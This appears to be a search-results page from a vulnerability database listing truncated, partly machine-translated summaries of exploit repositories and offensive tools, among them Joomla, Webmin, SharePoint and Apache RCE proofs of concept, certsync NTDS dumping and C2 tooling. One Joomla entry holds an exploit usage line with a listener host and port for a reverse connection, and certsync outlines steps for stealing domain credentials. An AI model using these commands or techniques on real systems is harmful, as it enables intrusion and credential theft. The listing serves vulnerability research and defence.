Lucene search
+L

996712 matches found

Kitploit
Kitploit
added 2026/09/12 12:53 p.m.8 views

CVE-2018-11235

CVE-2018-11235 "git clone --recurse-submodule"을 실행하는 RCE 취약점 CVE-2018-11235...

7.8CVSS7.5AI score0.48752EPSS
SaveExploits10
Kitploit
Kitploit
added 2026/09/12 12:53 p.m.25 views

Joomla-3.4.6---configuration.php-Remote-Code-Execution

Joomla-3.4.6---configuration.php-Remote-Code-Execution 영향 범위: 3.0.0-3.4.6 1. 취약점 검증 python3 Joomla-3.4.6-RCE.py -t http://172.20.10.4 “Vulnerable”이 표시되면 취약점이 존재함을 증명합니다. python3 test.py -t http://127.0.0.1:8080/ --exploit --lhost 192.168.31.126 --lport 2121 실행 성공 그리고 “configuration.php”에 무작위 비밀번호...

5.9AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/12 12:51 p.m.4 views

CVE-2012-2982

CVE-2012-2982 Эксплойт для CVE-2012-2982 CVE-2012-2982 — это уязвимость, обнаруженная в Webmin версии 1.580, которая позволяет удаленно выполнять код...

6.5CVSS5.9AI score0.62181EPSS
SaveExploits10
Kitploit
Kitploit
added 2026/09/12 12:51 p.m.6 views

CVE-2018-5767-AC9

Исследователь и автор Дэвид Бейкер Статья: Sometimes Exploits Need Patches Too! Working Through a Change of Address внешняя ссылка CVE-2018-5767-AC9 Реализация доказательства концепции для CVE-2018-5767 https://vulners.com/cve/CVE-2018-5767 root@kitploit: Ниже представлена актуализация...

9.8CVSS8.2AI score0.47372EPSS
SaveExploits5
Kitploit
Kitploit
added 2026/09/12 12:50 p.m.8 views

CVE-2019-0604

CVE-2019-0604 cve-2019-0604 SharePoint RCE 익스플로잇 블로그: https://www.cnblogs.com/k8gege/p/11093992.html 위키: https://github.com/k8gege/K8CScan/wiki/%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-CVE-2019-0604-SharePoint-GetShell-Exploit...

9.8CVSS7.5AI score0.99913EPSS
SaveExploits30References1
Kitploit
Kitploit
added 2026/09/12 12:50 p.m.9 views

Remote-BOF-Runner

Remote BOF Runner Crystal Palace 기반 PIC 로더를 사용하여 Beacon Object FilesBOF를 원격으로 실행할 수 있는 Havoc 확장 프레임워크입니다. 개요 Remote BOF Runner는 Crystal Palace PIC 로더를 활용하여 임의의 프로세스에서 BOF를 안전하게 실행할 수 있게 해줍니다. 이 프레임워크는 명명된 파이프를 통한 정교한 프로세스 간 통신IPC 메커니즘을 구현하여 인젝션된 프로세스의 비콘 출력을 명령 및 제어C2 서버로 투명하게 전달합니다. 설정 및 설치 확장...

6AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/12 12:50 p.m.9 views

CVE-2021-41773

CVE-2021-41773 플레이그라운드 이것은 CVE-2021-41773에 취약한 Apache HTTPd2.4.49 인스턴스가 포함된 Debian bookworm 기반 컨테이너를 설정하기 위한 작은 Docker 레시피입니다. CGI가 명시적으로 활성화되어 있어 로컬 파일 공개 동작과 원격 명령 실행 동작을 테스트/확인하는 데 사용할 수 있습니다. 사용법 root@kitploit: $ docker-compose build && docker-compose-up 로컬 파일 공개 root@kitploit: $ curl -s...

9.8CVSS8.1AI score0.99992EPSS
SaveExploits165
Kitploit
Kitploit
added 2026/09/12 12:50 p.m.35 views

certsync

certsync certsync is a new technique in order to dump NTDS remotely, but this time without DRSUAPI : it uses golden certificate and UnPAC the hash. It works in several steps: 1. Dump user list, CA informations and CRL from LDAP 2. Dump CA certificate and private key 3. Forge offline a certificate...

6AI score
SaveExploits0References3
Kitploit
Kitploit
added 2026/09/12 12:50 p.m.8 views

certsync

certsync certsync — новая техника для удаленного дампа NTDS, но на этот раз без DRSUAPI : она использует золотой сертификат и UnPAC the hash. Работает в несколько шагов: 1. Дамп списка пользователей, информации о CA и CRL из LDAP 2. Дамп сертификата CA и закрытого ключа 3. Офлайн-создание...

6AI score
SaveExploits0References3
Kitploit
Kitploit
added 2026/09/12 12:50 p.m.8 views

CVE-2021-22911

CVE-2021-22911 Rocket Chat 3.12.1에서 인증 전 블라인드 NoSQL 인젝션을 통한 원격 코드 실행 getPasswordPolicy 메서드는 NoSQL 인젝션 공격에 취약하며 인증/권한이 필요하지 않습니다. 비밀번호 재설정 토큰을 유출하여 계정을 탈취하는 데 사용될 수 있습니다. 관리자 계정을 탈취하면 원격 코드 실행이 가능합니다. 설명 1. 사용자 계정 탈취 인증되지 않은 상태 비밀번호 재설정 token 매개변수의 getPasswordPolicy 엔드포인트에 NoSQL 인젝션이 존재하며, 이는 JSON...

9.8CVSS8.3AI score0.95242EPSS
SaveExploits16
Kitploit
Kitploit
added 2026/09/12 12:49 p.m.5 views

CVE-2022-31144

CVE-2022-31144 CVE-2022-31144 Redis DoS 취약점. RCE는 아직 완료되지 않음...

8.8CVSS6.5AI score0.03219EPSS
SaveExploits0
Kitploit
Kitploit
added 2026/09/12 12:49 p.m.3 views

CVE-2026-49049

CVE-2026-49049 このリポジトリには、Joomla Helix3コンポーネントの脆弱性に対するPythonベースのスキャナーと概念実証が含まれています。このバグは任意ファイル書き込みの問題であり、攻撃者がWebからアクセス可能な場所にPHPペイロードを書き込める場合、リモートコード実行RCEにつながる可能性があります。 バグの内容 脆弱な動作は、リクエストパラメータが適切な検証なしにファイルパスやファイル内容を制御するために使用される場合に発生します。Helix3...

7.5CVSS0.00992EPSS
SaveExploits7
Kitploit
Kitploit
added 2026/09/12 12:49 p.m.10 views

SimpleRemoter

SimpleRemoter 简体中文 | 繁體中文 | English ⚠️ Unmaintained & Legal Notice / メンテナンス終了とコンプライアンス声明 !CAUTION This project is NO LONGER MAINTAINED. Use at your own risk. このプロジェクトはメンテナンスを終了し、更新されません。ご利用は自己責任でお願いします。 ⚖️ Compliance Reminder / コンプライアンス注意事項 Legal Use Only: Unauthorized remote access is strictly...

6AI score
SaveExploits0References19
Kitploit
Kitploit
added 2026/09/12 12:49 p.m.10 views

CVE-2021-32159

..| CSRFtoCommandInjection1 |.. Описание: Эксплуатация атаки межсайтовой подделки запросов CSRF для внедрения команд через функцию загрузки и скачивания Webmin Протестированная версия: Webmin 1.973 последняя версия на GitHub от 07.03.2021 Тип атаки: Удалённая Воздействие: Выполнение команд Код PO...

8.8CVSS7.9AI score0.02309EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/09/12 12:48 p.m.6 views

cve-2018-15133

POC - CVE-2018-15133 Использование: root@kitploit: $ ./CVE-2018-15133 -h Usage: ./CVE-2018-15133 options Options: -APIKEY string API key del sitio web de Laravel, codificada en base64 -URL string URL del sitio web de Laravel a atacar -command string Comando a ejecutar en el sitio web vulnerable; ...

8.1CVSS7.9AI score0.76814EPSS
SaveExploits11
Kitploit
Kitploit
added 2026/09/12 12:48 p.m.10 views

WebKit-CVE-2016-4622

WebKit CVE-2016-4622 분석: Slice ValueOf 고속 경로 취약점 심층 분석 Array.slice 조작을 통해 메모리 노출을 가능하게 하는 WebKit JavaScript Core 취약점의 종합적인 분석 및 공격 기법 목차 요약 취약점 개요 연구 환경 구성 기술 분석 공격 과정 주요 발견 사항 리소스 및 참고 자료 요약 이 저장소는 WebKit JavaScript Core 엔진의 심각한 메모리 노출 취약점인 CVE-2016-4622 에 대한 종합적인 분석을 담고 있습니다. 이 취약점은 Array.slice...

8.8CVSS7.7AI score0.18843EPSS
SaveExploits4References3
Kitploit
Kitploit
added 2026/09/12 12:48 p.m.8 views

CVE-2026-34159

CVE-2026-34159 CVE-2026-34159 Lama.cpp RPC サーバー バージョン b8487 用の0クリックRCEエクスプロイト エクスプロイトは Hassan Ali @Casp3r0x0 によって開発されました 完全な解説は以下でご覧いただけます https://www.pwntricks.com/ZeroClick-RCE-CVE-2026-34159-llama.cpp...

9.8CVSS7.4AI score0.01126EPSS
SaveExploits2
Kitploit
Kitploit
added 2026/09/12 12:48 p.m.7 views

CVE-2017-3066

CVE-2017-3066 설명 Adobe ColdFusion은 Action Message FormatAMF을 사용합니다. AMF 프로토콜은 사용자 정의 이진 직렬화 프로토콜입니다. 두 가지 형식AMF0 및 AMF3이 있습니다. Action 메시지는 헤더와 바디로 구성됩니다. 다양한 언어로 AMF 구현이 존재합니다. Java의 경우 Adobe BlazeDS현재 Apache BlazeDS가 있으며, 이는 Adobe ColdFusion에서도 사용됩니다. Adobe ColdFusion은 Apache BlazeDS 라이브러리에서 신뢰할...

10CVSS8.4AI score0.90597EPSS
SaveExploits6
Kitploit
Kitploit
added 2026/09/12 12:46 p.m.4 views

CVE-2024-28741-northstar-agent-rce-poc

NorthStar C2 에이전트 RCE 저장형 XSS CVE-2024-28741에 대한 에이전트 RCE PoC, NorthStar C2의 저장형 XSS 취약점. 이 익스플로잇은 여러 개의 악의적인 에이전트 등록 요청을 팀서버로 전송하여 로그 웹 페이지에 기능하는 자바스크립트 페이로드를 점진적으로 구축합니다. 이 XSS를 활용하여 NorthStar C2 에이전트에서 명령을 실행할 수 있습니다. 전체 설명:...

8.8CVSS8AI score0.78158EPSS
SaveExploits5References1
Kitploit
Kitploit
added 2026/09/12 12:46 p.m.63 views

sshuttle

sshuttle: where transparent proxy meets VPN meets ssh As far as I know, sshuttle is the only program that solves the following common case: Your client machine or router is Linux, FreeBSD, MacOS or Windows. You have access to a remote network via ssh. You don't necessarily have admin access on th...

5.8AI score
SaveExploits0
Rows per page
Query Builder